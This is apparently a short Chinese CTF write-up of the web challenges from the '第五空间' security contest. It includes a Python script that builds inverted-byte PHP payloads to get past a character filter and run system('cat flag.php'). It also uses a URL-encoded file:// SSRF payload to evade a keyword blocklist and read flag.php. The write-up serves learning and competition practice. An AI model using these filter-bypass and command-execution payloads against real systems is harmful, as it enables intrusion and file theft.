前两天和小伙伴打了个比赛,记录下(真菜。。)
“第五空间” 智能安全大赛-web部分wp
题目限制如下
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
将基本的字符都过滤了,此时想到无字母取反webshell
写个取反脚本
#__coding:utf-8__
def qufan(shell):
for i in shell:
hexbit=''.join(hex(~(-(256-ord(i)))))
print (hexbit.replace('0x','%'),end='')
qufan('system')
print(' ')
qufan('cat flag.php')
payload:
?code=(~(%8c%86%8c%8b%9a%92))(~(%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f))
审计源码,考察ssrf
重点读两处
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
思路:用协议读取flag.php文件
url编码绕过第一处限制且由于第一个变量和第二个变量强类型比较所以它们值完全相等
PS:如果两个变量值不相等,就会判断我们传参的个数,由于传入的参数必定是两个,所以唯一的方法就是让两个变量键值相等;
php类型比较
构造payload
?p=%66%69%6c%65:///var/www/html/%66%6c%61%67.php&q=%66%69%6c%65:///var/www/html/%66%6c%61%67.php
此处要求用file协议去读
其余题目等师傅们的wp就去复现一波